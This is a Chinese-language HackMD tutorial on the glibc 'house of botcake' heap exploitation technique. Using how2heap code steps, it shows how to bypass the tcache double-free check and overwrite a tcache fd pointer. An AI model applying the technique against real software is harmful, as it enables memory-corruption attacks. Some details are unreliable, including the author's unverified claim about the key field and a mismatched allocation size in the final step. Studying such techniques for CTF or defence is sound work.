# house of botcake ###### tags: `exploitation` 在 glibc 2.29 之後增加了對 tcache 的 double free 檢查,檢查方法是在 tcache fd 之後再增加 key 欄位 ```c= typedef struct tcache_entry { struct tcache_entry *next; /* This field exists to detect double frees. */ struct tcache_perthread_struct *key; } tcache_entry; ``` 該欄位放入 tcache bin 的時候會填上當前 chunk 地址 (再查證 若發現 `chunk->key == tcache` 則遍歷 tcache bin 看 chunk address 是否已經存在於 tcache bin 中從而做到 double free check 少了 double free 漏洞,更改 tcache fd 就比較麻煩,但是有了 house of botcake 不用 double free 而修改 fd 就再也不是夢 ## 原理 1. tcache 不看 prev in-use bit 2. unsorted bin consolidate 3. chunk overlapping 上面三點就是成功關鍵,總結來說就是把 chunk 同時放在 unsorted bin chunk 內和 tcache ,透過 allocate 拿出能修改 chunk fd 大小的空間藉此修改掉存在於 chunk 中的 fd ## exploit 直接看 [how2heap 的 code](https://github.com/shellphish/how2heap/blob/master/glibc_2.26/house_of_botcake.c) ,以下假定要用的 chunk 皆屬於 0x110 大小 1. ```c= intptr_t *x[7]; for(int i=0; i<sizeof(x)/sizeof(intptr_t*); i++){ x[i] = malloc(0x100); } ``` 這步主要是為填滿 tcache ( 7 個 )做準備 2. ```c=+ intptr_t *prev = malloc(0x100); intptr_t *a = malloc(0x100); intptr_t *gap = malloc(0x10); ``` a 是等等用來 overwrite 的 fd 的 chunk ,而 prev 則是為了 consolidate 做準備, gap 則是避免 a 跟 top chunk consolidate 前兩步算是預備動作,其中 prev 和 a 因為要 consolidate 的關係要連在一起,其他都無所謂 3. ```c=+ for(int i = 0;i < 7;i++) free(x[i]); ``` 填滿 tcache 好讓等等的 a 放入 unsorted bin 4. ```c=+ free(a); free(prev); ``` a 放入 unsorted bin 後接著 free prev , prev 會和 a 合併成一個 0x220 的 chunk 放在 unsorted bin 5. ```c=+ malloc(0x100); ``` 這步的 malloc 是為了空出一個空間放之後的 a ,這樣 a 的 data space 才會出現 fd 6. ```c=+ free(a); ``` 此時 a 既屬於 unsorted chunk 的一部分也屬於 tcache bin 7. ```c=+ intptr_t *b = malloc(0x120); ``` 構造一個能 overlap 到 a 的 fd 的 chunk ,此時的 malloc 會從 unsorted chunk 切一塊 0x130 大小的 chunk ,此 chunk 的 data space 會涵蓋 chunk a 的 header 和 fd 部分 8. ```c=+ malloc(0x110) intptr_t *target = malloc(0x110); ``` 到這邊就可以成功的進行一次 overwrite fd 若需要做兩次以上的 overwrite fd 則 free 掉 b 再 free a 就可以再來無數次,是相當好用的做法
×
Sign in
Email
Password
Forgot password
or
By clicking below, you agree to our
terms of service
.
Sign in via Facebook
Sign in via Twitter
Sign in via GitHub
Sign in via Dropbox
Sign in with Wallet
Wallet (
)
Connect another wallet
New to HackMD?
Sign up